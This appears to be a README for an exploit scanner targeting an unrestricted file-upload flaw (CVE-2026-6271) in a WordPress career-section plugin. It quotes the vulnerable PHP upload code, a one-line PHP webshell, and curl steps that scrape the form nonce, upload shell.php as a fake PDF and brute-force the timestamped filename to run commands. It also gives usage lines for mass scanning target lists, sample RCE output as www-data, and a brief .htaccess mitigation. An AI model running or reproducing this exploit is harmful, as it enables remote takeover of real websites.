<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

// templates/single-csection.php — lignes 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // PAS de contrôle d'extension — tout est accepté, y compris .php
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

echo '<?php system($_GET["cmd"]); ?>' > shell.php

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce : $NONCE"

<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell actif : $URL"
    echo "Sortie RCE   : $RESULT"
    break
  fi
done

Webshell actif : http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
Sortie RCE   : uid=33(www-data) gid=33(www-data) groups=33(www-data)

git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requests

python career_section_rce.py -u http://hedef.com

python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

python career_section_rce.py -u http://hedef.com --ts-window 10

python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

Racine WordPress/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell ici

curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] 3 cibles | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (source : http://hedef1.com/careers/engineer/)
  URL du shell : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  Sortie RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (type de fichier bloqué)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce introuvable)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE confirmé → rce_confirmed.txt
──────────────────────────────────────────────────────────────

<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

cve-2026-6271-scanner/
├── career_section_rce.py   # Scanner principal
├── requirements.txt        # Dépendances
└── README.md               # Ce fichier